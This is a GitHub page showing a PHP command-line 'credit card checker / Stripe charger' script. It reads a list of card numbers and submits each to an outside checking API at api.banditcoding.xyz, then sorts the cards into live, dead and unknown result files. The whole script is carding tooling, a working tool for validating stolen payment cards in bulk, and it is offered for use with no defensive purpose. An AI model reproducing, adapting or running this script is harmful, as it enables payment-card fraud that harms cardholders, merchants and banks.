-
Notifications
You must be signed in to change notification settings - Fork 40
/
Copy pathcc.php
121 lines (100 loc) · 3 KB
/
cc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php
// DONT CHANGE THIS
/* ================[INFO]================
* AUTHOR : ZLAXTERT
* SCRIPT : CREDIT CARD CHECKER
* GITHUB : https://github.com/ZLAXTERT
* IG : https://t.me/zlaxtert
* VERSION : 1.1 (CLI)
* ======================================
*/
//SETTING
ini_set("memory_limit", '-1');
date_default_timezone_set("Asia/Bangkok");
define("OS", strtolower(PHP_OS));
$date = date("l, d-m-Y");
//BANNER
system("clear");
echo banner();
//INPUT LIST
enterlist:
echo "\n[+] Enter your list (eg: list.txt) >> ";
$listname = trim(fgets(STDIN));
if(empty($listname) || !file_exists($listname)) {
echo " [!] Your Fucking list not found [!]".PHP_EOL;
goto enterlist;
}
$lists = array_unique(explode("\n",str_replace("\r","",file_get_contents($listname))));
echo "[?] Continue ? (Y/n) >> ";
$q = trim(fgets(STDIN));
$que = strtolower($q);
if($que == 'n') exit("\n[!] FUCK OFF !? [!]\n\n");
//COUNT
$l = 0;
$d = 0;
$e = 0;
$u = 0;
$no = 0;
$total = count($lists);
echo "\n[+] TOTAL $total lists [+]\n\n";
//LOOPING
foreach ($lists as $list) {
$no++;
//API
$url = "https://api.banditcoding.xyz/cc/v1/?cc=$list";
//CURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$res = curl_exec($ch);
curl_close($ch);
//RESPONSE
if(strpos($res, '"status":"success"')){
$l++;
file_put_contents("result/live.txt", $list.PHP_EOL, FILE_APPEND);
echo "[$no/$total] LIVE | $list | CREDIT CARD CHECKER \n";
}elseif(strpos($res, '"status":"failed"')){
$d++;
file_put_contents("result/die.txt", $list.PHP_EOL, FILE_APPEND);
echo "[$no/$total] DIE | $list | CREDIT CARD CHECKER \n";
}elseif(strpos($res, '"status":"error"')){
$u++;
file_put_contents("result/unknown.txt", $list.PHP_EOL, FILE_APPEND);
echo "[$no/$total] UNKNOWN | $list | CREDIT CARD CHECKER \n";
}elseif(strpos($res, "The server is temporarily busy, try again later!")){
$e++;
file_put_contents("result/error.txt", $list.PHP_EOL, FILE_APPEND);
echo "[x] !!!SERVER BUSY!!! [x]\n";
}else{
$e++;
file_put_contents("result/error.txt", $list.PHP_EOL, FILE_APPEND);
echo "[x] ERROR CONNECTION [x]\n";
}
}
//END
echo "
DATE : $date
==========[INFO]==========
TOTAL LIST : $total
LIVE : $l
DIE : $d
UNKNOWN : $u
ERROR : $e
==========================
THANKS FOR USING
";
function banner(){
$banner = "
__________ _______ _____________ _________
/ ___/ ___/ / ___/ // / __/ ___/ //_/ __/ _ \
/ /__/ /__ / /__/ _ / _// /__/ ,< / _// , _/
\___/\___/ \___/_//_/___/\___/_/|_/___/_/|_|
------------------------------------------------------
AUTHOR : ZLAXTERT
VERSION : 1.1
SCRIPT : CREDIT CARD CHECKER STRIPE CHARGER
------------------------------------------------------
";
return $banner;
}